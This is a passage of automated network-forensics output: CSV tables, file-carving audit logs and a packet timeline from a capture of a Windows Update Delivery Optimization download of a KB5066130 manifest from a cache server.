bytes.\n.\n{\"\"MajorVersion\"\":1,\"\"MinorVersion\"\":0,\"\"HashOfHashes\"\":\"\"qAiWANsCO1MumDRU4b2FTcSqHivY94gXSFGXdirRDq4=\"\",\"\"HashOfHashesString\"\":\"\"qAiWANsCO1MumDRU4b2FTcSqHivY94gXSFGXdirRDq4=\"\",\"\"ContentLength\"\":79240605,\"\"PieceSize\"\":1048576,\"\"Pieces\"\":[\"\"63e2fn9p5M1Jgrot42IpGMa5bewQbBKL+em50oFb+i4=\"\",\"\"YuXbLgas4Lh7wPc++eVa37E6IVde7rPFnX4nDgoPk0c=\"\",\"\"K6io8w5q8r4jvcB0bXbnkcR2bgFBdwCnjuXGizcMmQU=\"\",\"\"0X3+x3V1+JPAjCE5Ng20ger5fDe1GgAYol5SwJoEB+0=\"\",\"\"mjtVq2sEmx6kb8biCkiRwkgr+cx1ns6tHXlvwKuxa0I=\"\",\"\"6v+JmnAxcD8Eh1aEp+a1UduJOkkZwYVmnqssAgVeAjE=\"\",\"\"5JGehCOWEkusqUmL8cBnNMvv5YQH5+QDlmwjwAPLmPs=\"\",\"\"RgoD0TGJIY1zJ091MqikfS0sV0VhU3X5fUtOlnnSENw=\"\",\"\"6IS3v2w9sPuUW/AkUjf93UreEjJ5x7vDbeCSopfAayY=\"\",\"\"LPHpcu21PoAWmfa1Labh5mKn1na7oG35hQcy/Q98It0=\"\",\"\"EwErRieJ2XqZXvdC5m7fGgWpg2qHHBh3C7r2gHXxEK0=\"\",\"\"8iefG+Sz6iqHEhIVeQwGtfUQveH/RgpQ6Cf9TSP8ZLQ=\"\",\"\"6eJIZGiygGwG2avHiKJ3GcQwp79CgHsqFkxUotsCjos=\"\",\"\"ofAo/IflBJG\n##\nT 77.95.69.5:80 -> 10.152.152.11:64029 [AP] #8\nfABKr1Vrzimvb4uM3M8lgmxIU6lWtJPQ=\"\",\"\"XSe/pgH3Lycvx7qMI0uh7peTu9vWl8s91kUKpbf3UOA=\"\",\"\"8ptbeA16DYOuts/x2n7zrbd4oRdPCy3QW1nsHsHeEk4=\"\",\"\"MVtfKcMn6m3ujQYZEZFr4E9+m+RFMje4O9E8l+c/bfU=\"\",\"\"yYv0uCFXJcMYFvFMj/1XIlNFyszprVcDTFLniT4on8o=\"\",\"\"TAYTgbxvVIz0LZaFQgYy7S26LE8bdx9n13qyKPI6HqY=\"\",\"\"rV7AADaB6O5uWzeYfzUGf4MCPMLhpfKDvd+2x5iFBV8=\"\",\"\"T2K/1UEU9VGnB+gnIgZn/+MFs4aiCbRAmfSlPaEjh/I=\"\",\"\"Yx8PgaO9bdMgINkxN4IgwvC2jUT8LPZ8XPpA3vVinyQ=\"\",\"\"Hn30j5DwTXbD4pQaWYAJGZLfhcmCf+L6oKgvRzjJLfk=\"\",\"\"5YD/xAFgZ6j1UroWJ6rPRg/Gy+kEsvEgc/+8dnlWnW0=\"\",\"\"91mOrDSDZjZxZImPub7TEX7EDVtcuovbjdsQBw5aRJI=\"\",\"\"fear5JfHtYZEFgHOOoC6tKNaGz+XXFqs5m2sIGoz8sw=\"\",\"\"duDCDm8Yndiw3bFtGcypDqe+wnQPB1CZACL8iZwUOKk=\"\",\"\"h/DgbNswkDCKLeT3ZFdwZVn7t1O4eI+6LvIPkr9RS+o=\"\",\"\"yPWAbkviCF20ok0O64buRa0TXt/DEV4CUoJyjkSqg28=\"\",\"\"YLOlYrOZcK7BmKbIz1tZS9L+bISeugKysXKto4RLQl0=\"\",\"\"wRm4L9NXLbrHhOMrwYT9k45DcDLxKbFSU4+DNIJOWpo=\"\",\"\"vw7TJ2ygJmVIm0L9639YAvkqSxEwoJ6pYVJUDLGL/K4=\"\",\"\"wgvzre5JVOuSujl9Hnv1U+5wUozO2zEnbni0i+uZj2I=\"\",\"\"vD3Hvz4xSWXUxDGcCxajTSvQW2g5KLWdI6OvxyT6LHU=\"\",\"\"OzYc2Mq5bYAdv52qYKb2oGp5DSyeaSYejJgC0kD04MA=\"\",\"\"UQV6otpISNFpC5WkHhK/eVkiK1FilyfcyNs3yMyCCKQ=\"\",\"\"9VvYCLCSE8oOe1owOnPSGWqgHsfU3ybYikcEWFQowdk=\"\",\"\"ijbIboJshOhKNOojEcqm4kImaDGwmMr+MszgzKK06U4=\"\",\"\"tBgyDl1x36JWWtBm+FuEqhbO5ZU8IPlS009F5D38vZM=\"\",\"\"I2AkuGM3lq8vTrtJfQ874E7RjqqsUDxv5uW58PAeBgc=\"\",\"\"UUmQwR1YEZUXjmJSHAkgtD6xPLFROyxzFA1WLI0VxkU=\"\",\"\"AR8fMlz2ACmfat23hV4dNgq0igH4Ae6GHBgviao+Ftw=\"\",\"\"2A4uLbDcEpDUz/PyhNZe8J2BVevdH1TR+CSAAF+Vero=\"\",\"\"Q8b3I6Uac+PqEkGYT/uUSvyuzNYf7nIPCnGH6i9ESdA=\"\",\"\"a2aU2Yaol3P+MqkpEiJ+IEtm6ji7uzXsS7jBPCRZsgU=\"\",\"\"7TPSdljodqy1q2hhmToe4uQYcrwYWTR+Gpz1GxNLM3M=\"\",\"\"LcEyR6umS4rpg+DlYFomY3sexL15TxB0ODfpvvZ8jTk=\"\",\"\"HRgxKlbKmRkYGOHzx0cdOqlbHt8YILidAHzhH9EjhXw=\"\",\"\"9lRmaSC3EavcLdk9GWL0vG3QHsWoT/dsdX8maoro/NA=\"\",\"\"sWcIf/YdKy8qAUfoCDRtW2LlDKIWrjAqzYQLwlf13QA=\"\",\"\"roo3TOTDRLNdO3eqMcT9mki0/fnwn9c4gGf8AY05YW0=\"\",\"\"lBH+WW9gNzgya4ktv2iNShJJfkUXhIthCkyMLMqISpg=\"\",\"\"9UqDn5Sz1GArBaH9oE+QUu4vhgKZz0P0Tgq9KdvpJS4=\"\",\"\"gddeAQUVYO1evXtp+OZ9H5G3OtaCyZn7wYdqfLFCYZU=\"\",\"\"0yOCaNoTTqfeQ1v0xFjttzENHngxaxrnrMxRXZW3geU=\"\",\"\"uGbMPiutPtPliHaLG4adXlA78IadKTDwypgI1hf2poU=\"\",\"\"YidfH6Mmf9qPZztSA7mISPuYDOe3MHKggddAWkSRcII=\"\",\"\"Hd6RS5M1D0zFzacTUajTgCTK/T/8e3EpGSM32OI3ToU=\"\",\"\"J62bZJPXhtOVhoyne8huGZyDgBIaBgbyww8UlgH7ShU=\"\",\"\"zOrhBfwirRAaKy7BPFktSogF9D+CjJqYyVrPX8ZJ5Yw=\"\",\"\"dRaAOQlqD70Vzb6FoE282Rofjyg/wAbbC9DLI9QZtpg=\"\",\"\"YUAE/KdWY+rTuN6V8PDc/AqawBoCteeZbvM/KzNsCwo=\"\",\"\"X5ZOeZ4+RduOOi5DzGPkkx5ff5pQ/M6P7z9JrS4QkR8=\"\",\"\"/zSuduKeibYAdEODWQ8OxTRO8Ol4Rr1F4gwFnyIA02c=\"\",\"\"DO0hkhS01g/Yf1kABERtQmRvgMqUyEO3/it0pgyK3yU=\"\",\"\"B3yF+gwHMcmqkltK/4tiCB+AYzT+qerxDbkYvLMbiO4=\"\",\"\"+Ej94mP1JQfIEYLbAaMJOFMjErcYKpeeNU9bKelJll0=\"\",\"\"V4bigv+zB97vr4GtZLJglUlQ1nkK3+TBbTKovupbVzk=\"\",\"\"R45M1lu1fzp9voKArRfNEA85BBu0AXKufG+IcYd5FG4=\"\",\"\"5Y4yUd4s829J4ZQH9u9iK4y0Sn3Lf5S8p0/lSlJKD+8=\"\",\"\"i8aCgwCtXXGA8ReL5odfI5ZCtUSkXC4WR/jCBszZM08=\"\",\"\"zymFuuEs2yB+EuN6ve/l/47gQSIjDZu5Yi6IX5d1y9A=\"\",\"\"LHIi2XsodoDdw7CZsyWGMi3Jfua7JpmKxJeAnFmzH5U=\"\",\"\"Vtlhpd9joBFhrxU5JrB/zyVVyV940YG5ghl0vi2CFYA=\"\",\"\"AG7/RyjOw9VxTnrq90UjRNfl\n##\nT 77.95.69.5:80 -> 10.152.152.11:64029 [AP] #10\n5NG7IwHSM6N/TTkVGpk=\"\",\"\"K1UIbIPWqg8XVLxINdI7UvN8tVq0oDP4PcGAc7tsU40=\"\"]}\n#exit\"\n0.0,Network Stats,TShark Stat: protocol_hierarchy,Path: /tmp/tmph3ogvnhv/tshark/stats/tshark_protocol_hierarchy.txt\n0.0,Network Stats,TShark Stat: conversations_tcp,Path: /tmp/tmph3ogvnhv/tshark/stats/tshark_conversations_tcp.txt\n0.0,Network Stats,TShark Stat: conversations_udp,Path: /tmp/tmph3ogvnhv/tshark/stats/tshark_conversations_udp.txt\n0.0,Network Stats,TShark Stat: endpoints_ip,Path: /tmp/tmph3ogvnhv/tshark/stats/tshark_endpoints_ip.txt\n0.0,Network Stats,TShark Stat: http_stats,Path: /tmp/tmph3ogvnhv/tshark/stats/tshark_http_stats.txt\n0.0,Network Stats,TShark Stat: dns_stats,Path: /tmp/tmph3ogvnhv/tshark/stats/tshark_dns_stats.txt\n0.0,Network Stats,TShark Stat: expert_info,Path: /tmp/tmph3ogvnhv/tshark/stats/tshark_expert_info.txt\n0.0,Network Stats,TShark Stat: io_graph,Path: /tmp/tmph3ogvnhv/tshark/stats/tshark_io_graph.txt\n0.0,Forensics,Object Extracted: windows10.0-kb5066130-x64-ndp481_06046fee7e84fdb252bf0dfa0d51772ada5604be.cab.json%3fcacheHostOrigin=download.windowsupdate.com,Path: /tmp/tmph3ogvnhv/tshark/objects/windows10.0-kb5066130-x64-ndp481_06046fee7e84fdb252bf0dfa0d51772ada5604be.cab.json%3fcacheHostOrigin=download.windowsupdate.com\n","carved_files_analysis.csv":"Timestamp,Stream ID,Source IP,Source Port,Dest IP,Dest Port,Protocol,File Name,File Type,File Path,Size (bytes),MD5,SHA256,Entropy,Strings Preview,Content Preview (Hex)\n2026-07-19T16:36:25.647964,Tool:tmph3ogvnhv/carved,Unknown,0,Unknown,0,HTTP,scalpel.conf,conf,/tmp/tmph3ogvnhv/carved/scalpel.conf,796,a2da2c51920b2a2338daac52dc8f3894,35fa9929898a9ad0b97ddb04fb3b9b8cc0295a9e38cc7463922f86fa92d7c165,3.97,\" Scalpel Configuration Generated by Network Analyzer,  ext      case  header          footer,  Graphics, jpg        y     , x10   , jpg        y     , xe1           , png        y     , x0a   , gif        y     , x61   , gif        y     , x61   ,  Documents, pdf        y     , x46           , zip        y     , x04           ,  Executables, exe        y     , x5a                   REVERSE, elf        y     , x46           REVERSE,  Multimedia, mp3        y     , x33                , mp4        y     , x70 REVERSE,         \",0a 23 20 53 63 61 6c 70 65 6c 20 43 6f 6e 66 69 67 75 72 61 74 69 6f 6e 20 47 65 6e 65 72 61 74 65 64 20 62 79 20 4e 65 74 77 6f 72 6b 20 41 6e 61 6c 79 7a 65 72 0a 23 20 65 78 74 20 20 20 20 20 20 63 61 73 65 20 20 68 65 61 64 65 72 20 20 20 20 20 20 20 20 20 20 66 6f 6f 74 65 72 0a 0a 23 20 47 72 61 70 68 69 63 73 0a 6a 70 67 20 20 20 20 20 20 20 20 79 20 20 20 20 20 5c 78 66 66 5c 78 64 38 5c 78 66 66 5c 78 65 30 5c 78 30 30 5c 78 31 30 20 20 20 5c 78 66 66 5c 78 64 39 0a 6a 70 67 20 20 20 20 20 20 20 20 79 20 20 20 20 20 5c 78 66 66 5c 78 64 38 5c 78 66 66 5c 78 65 31 20 20 20 20 20 20 20 20 20 20 20 5c 78 66 66 5c 78 64 39 0a 70 6e 67 20 20 20 20 20 20 20 20 79 20 20 20 20 20 5c 78 38 39 5c 78 35 30 5c 78 34 65 5c 78 34 37 5c 78 30 64 5c 78 30 61 5c 78 31 61 5c 78 30 61 20 20 20 5c 78 34 39 5c 78 34 35 5c 78 34 65 5c 78 34 34 5c 78 61 65 5c 78 34 32 5c 78 36 30 5c 78 38 32 0a 67 69 66 20 20 20 20 20 20 20 20 79 20 20 20 20 20 5c 78 34 37 5c 78 34 39 5c 78 34 36 5c 78 33 38 5c 78 33 37 5c 78 36 31 20 20 20 5c 78 30 30 5c 78 33 62 0a 67 69 66 20 20 20 20 20 20 20 20 79 20 20 20 20 20 5c 78 34 37 5c 78 34 39 5c 78 34 36 5c 78 33 38 5c 78 33 39 5c 78 36 31 20 20 20 5c 78 30 30 5c 78 33 62 0a 0a 23 20 44 6f 63 75 6d 65 6e 74 73 0a 70 64 66 20 20 20 20 20 20 20 20 79 20 20 20 20 20 5c 78 32 35 5c 78 35 30 5c 78 34 34 5c 78 34 36 20 20 20 20 20 20 20 20 20 20 20 5c 78 32 35 5c 78 34 35 5c 78 34 66 5c 78 34 36 5c 78 30 44 0a 7a 69 70 20 20 20 20 20 20 20 20 79 20 20 20 20 20 5c 78 35 30 5c 78 34 62 5c 78 30 33 5c 78 30 34 20 20 20 20 20 20 20 20 20 20 20 5c 78 35 30 5c 78 34 62 5c 78 30 35 5c 78 30 36 0a 0a 23 20 45 78 65 63 75 74 61 62 6c 65 73 0a 65 78 65 20 20 20 20 20 20 20 20 79 20 20 20 20 20 5c 78 34 64 5c 78 35 61 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 52 45 56 45 52 53 45 0a 65 6c 66 20 20 20 20 20 20 20 20 79 20 20 20 20 20 5c 78 37 66 5c 78 34 35 5c 78 34 63 5c 78 34 36 20 20 20 20 20 20 20 20 20 20 20 52 45 56 45 52 53 45 0a 0a 23 20 4d 75 6c 74 69 6d 65 64 69 61 0a 6d 70 33 20 20 20 20 20 20 20 20 79 20 20 20 20 20 5c 78 34 39 5c 78 34 34 5c 78 33 33 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 5c 78 66 66 5c 78 66 62 0a 6d 70 34 20 20 20 20 20 20 20 20 79 20 20 20 20 20 5c 78 30 30 5c 78 30 30 5c 78 30 30 5c 78 32 30 5c 78 36 36 5c 78 37 34 5c 78 37 39 5c 78 37 30 20 52 45 56 45 52 53 45 0a 20 20 20 20 20 20 20 20\n2026-07-19T16:36:25.656925,Tool:carved/scalpel,Unknown,0,Unknown,0,HTTP,audit.txt,txt,/tmp/tmph3ogvnhv/carved/scalpel/audit.txt,468,92b2c4595f587f162ebed81874684cba,ca50716042019bb8fa780ab8075f562889fc6262050c1903b60bbe5d3fc0529c,4.99,\"Scalpel version 1.60 audit file, Started at Sun Jul 19 16:36:25 2026, Command line:, scalpel -c /tmp/tmph3ogvnhv/carved/scalpel.conf /tmp/filtered_c097wivg.pcap -o /tmp/tmph3ogvnhv/carved/scalpel , Output directory: /tmp/tmph3ogvnhv/carved/scalpel, Configuration file: /tmp/tmph3ogvnhv/carved/scalpel.conf, Opening target , /tmp/filtered_c097wivg.pcap, The following files were carved:, File,   Start, Chop, Length, Extracted From, Completed at Sun Jul 19 16:36:25 2026\",0a 53 63 61 6c 70 65 6c 20 76 65 72 73 69 6f 6e 20 31 2e 36 30 20 61 75 64 69 74 20 66 69 6c 65 0a 53 74 61 72 74 65 64 20 61 74 20 53 75 6e 20 4a 75 6c 20 31 39 20 31 36 3a 33 36 3a 32 35 20 32 30 32 36 0a 43 6f 6d 6d 61 6e 64 20 6c 69 6e 65 3a 0a 73 63 61 6c 70 65 6c 20 2d 63 20 2f 74 6d 70 2f 74 6d 70 68 33 6f 67 76 6e 68 76 2f 63 61 72 76 65 64 2f 73 63 61 6c 70 65 6c 2e 63 6f 6e 66 20 2f 74 6d 70 2f 66 69 6c 74 65 72 65 64 5f 63 30 39 37 77 69 76 67 2e 70 63 61 70 20 2d 6f 20 2f 74 6d 70 2f 74 6d 70 68 33 6f 67 76 6e 68 76 2f 63 61 72 76 65 64 2f 73 63 61 6c 70 65 6c 20 0a 0a 4f 75 74 70 75 74 20 64 69 72 65 63 74 6f 72 79 3a 20 2f 74 6d 70 2f 74 6d 70 68 33 6f 67 76 6e 68 76 2f 63 61 72 76 65 64 2f 73 63 61 6c 70 65 6c 0a 43 6f 6e 66 69 67 75 72 61 74 69 6f 6e 20 66 69 6c 65 3a 20 2f 74 6d 70 2f 74 6d 70 68 33 6f 67 76 6e 68 76 2f 63 61 72 76 65 64 2f 73 63 61 6c 70 65 6c 2e 63 6f 6e 66 0a 0a 4f 70 65 6e 69 6e 67 20 74 61 72 67 65 74 20 22 2f 74 6d 70 2f 66 69 6c 74 65 72 65 64 5f 63 30 39 37 77 69 76 67 2e 70 63 61 70 22 0a 0a 54 68 65 20 66 6f 6c 6c 6f 77 69 6e 67 20 66 69 6c 65 73 20 77 65 72 65 20 63 61 72 76 65 64 3a 0a 46 69 6c 65 09 09 20 20 53 74 61 72 74 09 09 09 43 68 6f 70 09 09 4c 65 6e 67 74 68 09 09 45 78 74 72 61 63 74 65 64 20 46 72 6f 6d 0a 0a 0a 43 6f 6d 70 6c 65 74 65 64 20 61 74 20 53 75 6e 20 4a 75 6c 20 31 39 20 31 36 3a 33 36 3a 32 35 20 32 30 32 36 0a\n2026-07-19T16:36:25.645964,Tool:carved/foremost,Unknown,0,Unknown,0,HTTP,audit.txt,txt,/tmp/tmph3ogvnhv/carved/foremost/audit.txt,698,6d736692f52454929b70e3b31d334fff,72d51cc8d5661a3d90d33914a544b63dd58387b1fd5320233ac4fda7e73346be,4.90,\"Foremost version 1.5.7 by Jesse Kornblum, Kris Kendall, and Nick Mikus, Audit File, Foremost started at Sun Jul 19 16:36:25 2026, Invocation: foremost -t all -i /tmp/filtered_c097wivg.pcap -o /tmp/tmph3ogvnhv/carved/foremost , Output directory: /tmp/tmph3ogvnhv/carved/foremost, Configuration file: /etc/foremost.conf, ------------------------------------------------------------------, File: /tmp/filtered_c097wivg.pcap, Start: Sun Jul 19 16:36:25 2026, Length: 5 KB (5928 bytes),  Name (bs, 512),        Size,  File Offset,  Comment , Finish: Sun Jul 19 16:36:25 2026, 0 FILES EXTRACTED, ------------------------------------------------------------------, Foremost finished at Sun Jul 19 16:36:25 2026\",46 6f 72 65 6d 6f 73 74 20 76 65 72 73 69 6f 6e 20 31 2e 35 2e 37 20 62 79 20 4a 65 73 73 65 20 4b 6f 72 6e 62 6c 75 6d 2c 20 4b 72 69 73 20 4b 65 6e 64 61 6c 6c 2c 20 61 6e 64 20 4e 69 63 6b 20 4d 69 6b 75 73 0a 41 75 64 69 74 20 46 69 6c 65 0a 0a 46 6f 72 65 6d 6f 73 74 20 73 74 61 72 74 65 64 20 61 74 20 53 75 6e 20 4a 75 6c 20 31 39 20 31 36 3a 33 36 3a 32 35 20 32 30 32 36 0a 49 6e 76 6f 63 61 74 69 6f 6e 3a 20 66 6f 72 65 6d 6f 73 74 20 2d 74 20 61 6c 6c 20 2d 69 20 2f 74 6d 70 2f 66 69 6c 74 65 72 65 64 5f 63 30 39 37 77 69 76 67 2e 70 63 61 70 20 2d 6f 20 2f 74 6d 70 2f 74 6d 70 68 33 6f 67 76 6e 68 76 2f 63 61 72 76 65 64 2f 66 6f 72 65 6d 6f 73 74 20 0a 4f 75 74 70 75 74 20 64 69 72 65 63 74 6f 72 79 3a 20 2f 74 6d 70 2f 74 6d 70 68 33 6f 67 76 6e 68 76 2f 63 61 72 76 65 64 2f 66 6f 72 65 6d 6f 73 74 0a 43 6f 6e 66 69 67 75 72 61 74 69 6f 6e 20 66 69 6c 65 3a 20 2f 65 74 63 2f 66 6f 72 65 6d 6f 73 74 2e 63 6f 6e 66 0a 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 0a 46 69 6c 65 3a 20 2f 74 6d 70 2f 66 69 6c 74 65 72 65 64 5f 63 30 39 37 77 69 76 67 2e 70 63 61 70 0a 53 74 61 72 74 3a 20 53 75 6e 20 4a 75 6c 20 31 39 20 31 36 3a 33 36 3a 32 35 20 32 30 32 36 0a 4c 65 6e 67 74 68 3a 20 35 20 4b 42 20 28 35 39 32 38 20 62 79 74 65 73 29 0a 20 0a 4e 75 6d 09 20 4e 61 6d 65 20 28 62 73 3d 35 31 32 29 09 20 20 20 20 20 20 20 53 69 7a 65 09 20 46 69 6c 65 20 4f 66 66 73 65 74 09 20 43 6f 6d 6d 65 6e 74 20 0a 0a 46 69 6e 69 73 68 3a 20 53 75 6e 20 4a 75 6c 20 31 39 20 31 36 3a 33 36 3a 32 35 20 32 30 32 36 0a 0a 30 20 46 49 4c 45 53 20 45 58 54 52 41 43 54 45 44 0a 09 0a 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 0a 0a 46 6f 72 65 6d 6f 73 74 20 66 69 6e 69 73 68 65 64 20 61 74 20 53 75 6e 20 4a 75 6c 20 31 39 20 31 36 3a 33 36 3a 32 35 20 32 30 32 36 0a\n","network_analysis_protocols.csv":"Protocol,Packets,Bytes,Packet %,Byte %\nTCP,11,5434,100.00%,100.00%\n","network_analysis_http_graph.csv":"Timestamp,Stream ID,Source IP,Destination IP,Method,Host,URL,Referer,User-Agent\n0,0,10.152.152.11,77.95.69.5,GET,77.95.69.5,http://77.95.69.5,None,Extracted via Decryption\n","network_analysis_ports.csv":"Port,Packets,Bytes,Packet %,Byte %\n64029,11,5434,50.00%,50.00%\n80,11,5434,50.00%,50.00%\n","packet_forensic_timeline.csv":"Timestamp_UTC,Packet_Num,Flow_ID,Src_IP,Dst_IP,Src_Port,Dst_Port,Protocol,Src_Country,Src_City,Src_ASN,Src_AS_Org,Src_Lat,Src_Lon,Src_Network,Dst_Country,Dst_City,Dst_ASN,Dst_AS_Org,Dst_Lat,Dst_Lon,Dst_Network,TCP_Flags,DNS_Query,HTTP_Url,Protocol_Stack,Layer_Depth,Description,Packet_Content(Hex),Packet_Content,Alerts,Complete_Dissection\n2026-07-19 10:57:19.004171,1,TCP 10.152.152.11:64029 -> 77.95.69.5:80,10.152.152.11,77.95.69.5,64029,80,TCP,Internal,Private Network,,,,,,France,Unknown,39801,France IX Services SASU,48.8582,2.3387,77.95.68.0/22,S,,,Ether > IP > TCP,3,TCP S Seq=2730039889 Ack=0,bc24112907bbbc2411360d0c080045000034a60f400080061fad0a98980b4d5f4505fa1d0050a2b91a51000000008002faf0879f0000020405b40103030801010402,\".$.)...$.6\n...E..4..@.....\n...M_E....P...Q........................\",[TSHARK-OBJECT] windows10.0-kb5066130-x64-ndp481_06046fee7e84fdb252bf0dfa0d51772ada5604be.cab.json%3fcacheHostOrigin=download.windowsupdate.com,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 52, \"\"id\"\": 42511, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 8109, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"77.95.69.5\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64029, \"\"dport\"\": 80, \"\"seq\"\": 2730039889, \"\"ack\"\": 0, \"\"dataofs\"\": 8, \"\"reserved\"\": 0, \"\"flags\"\": \"\"S\"\", \"\"window\"\": 64240, \"\"chksum\"\": 34719, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[('MSS', 1460), ('NOP', None), ('WScale', 8), ('NOP', None), ('NOP', None), ('SAckOK', b'')]\"\"}}]\"\n2026-07-19 10:57:19.004193,2,TCP 77.95.69.5:80 -> 10.152.152.11:64029,77.95.69.5,10.152.152.11,80,64029,TCP,France,Unknown,39801,France IX Services SASU,48.8582,2.3387,77.95.68.0/22,Internal,Private Network,,,,,,SA,,,Ether > IP > TCP,3,TCP SA Seq=2504523788 Ack=2730039890,bc2411360d0cbc24112907bb08004500003400004000400605bd4d5f45050a98980b0050fa1d9548000ca2b91a528012faf0352e0000020405b4010104020103030a,\".$.6\n..$.)....E..4..@.@...M_E.\n....P...H.....R....5..............\n\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 52, \"\"id\"\": 0, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 1469, \"\"src\"\": \"\"77.95.69.5\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 80, \"\"dport\"\": 64029, \"\"seq\"\": 2504523788, \"\"ack\"\": 2730039890, \"\"dataofs\"\": 8, \"\"reserved\"\": 0, \"\"flags\"\": \"\"SA\"\", \"\"window\"\": 64240, \"\"chksum\"\": 13614, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[('MSS', 1460), ('NOP', None), ('NOP', None), ('SAckOK', b''), ('NOP', None), ('WScale', 10)]\"\"}}]\"\n2026-07-19 10:57:19.004286,3,TCP 10.152.152.11:64029 -> 77.95.69.5:80,10.152.152.11,77.95.69.5,64029,80,TCP,Internal,Private Network,,,,,,France,Unknown,39801,France IX Services SASU,48.8582,2.3387,77.95.68.0/22,A,,,Ether > IP > TCP,3,TCP A Seq=2730039890 Ack=2504523789,bc24112907bbbc2411360d0c080045000028a610400080061fb80a98980b4d5f4505fa1d0050a2b91a529548000d5010040229fc0000,\".$.)...$.6\n...E..(..@.....\n...M_E....P...R.H.\nP...)...\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 40, \"\"id\"\": 42512, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 8120, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"77.95.69.5\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64029, \"\"dport\"\": 80, \"\"seq\"\": 2730039890, \"\"ack\"\": 2504523789, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 1026, \"\"chksum\"\": 10748, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}]\"\n2026-07-19 10:57:19.004355,4,TCP 10.152.152.11:64029 -> 77.95.69.5:80,10.152.152.11,77.95.69.5,64029,80,TCP,Internal,Private Network,,,,,,France,Unknown,39801,France IX Services SASU,48.8582,2.3387,77.95.68.0/22,PA,,http://77.95.69.5/phf/c/doc/ph/prod5/msdownload/update/software/secu/2025/09/1024/windows10.0-kb5066130-x64-ndp481_06046fee7e84fdb252bf0dfa0d51772ada5604be.cab.json?cacheHostOrigin=download.windowsupdate.com,Ether > IP > TCP > HTTP > HTTPRequest,5,HTTP Request: GET /phf/c/doc/ph/prod5/msdownload/update/software/secu/2025/09/1024/windows10.0-kb5066130-x64-ndp481_06046fee7e84fdb252bf0dfa0d51772ada5604be.cab.json?cacheHostOrigin=download.windowsupdate.com,bc24112907bbbc2411360d0c0800450001baa611400080061e250a98980b4d5f4505fa1d0050a2b91a529548000d5018040241b20000474554202f7068662f632f646f632f70682f70726f64352f6d73646f776e6c6f61642f7570646174652f736f6674776172652f736563752f323032352f30392f313032342f77696e646f777331302e302d6b62353036363133302d7836342d6e64703438315f303630343666656537653834666462323532626630646661306435313737326164613536303462652e6361622e6a736f6e3f6361636865486f73744f726967696e3d646f776e6c6f61642e77696e646f77737570646174652e636f6d20485454502f312e310d0a436f6e6e656374696f6e3a204b6565702d416c6976650d0a4163636570743a202a2f2a0d0a4163636570742d456e636f64696e673a20677a69702c206465666c6174650d0a557365722d4167656e743a204d6963726f736f66742d44656c69766572792d4f7074696d697a6174696f6e2f31302e300d0a4d532d43563a2055384c634a70724350452b717533576e2e312e312e372e322e342e312e310d0a436f6e74656e742d4c656e6774683a20300d0a486f73743a2037372e39352e36392e350d0a0d0a,\".$.)...$.6\n...E.....@....%\n...M_E....P...R.H.\nP...A...GET /phf/c/doc/ph/prod5/msdownload/update/software/secu/2025/09/1024/windows10.0-kb5066130-x64-ndp481_06046fee7e84fdb252bf0dfa0d51772ada5604be.cab.json?cacheHostOrigin=download.windowsupdate.com HTTP/1.1\nConnection: Keep-Alive\nAccept: */*\nAccept-Encoding: gzip, deflate\nUser-Agent: Microsoft-Delivery-Optimization/10.0\nMS-CV: U8LcJprCPE+qu3Wn.1.1.7.2.4.1.1\nContent-Length: 0\nHost: 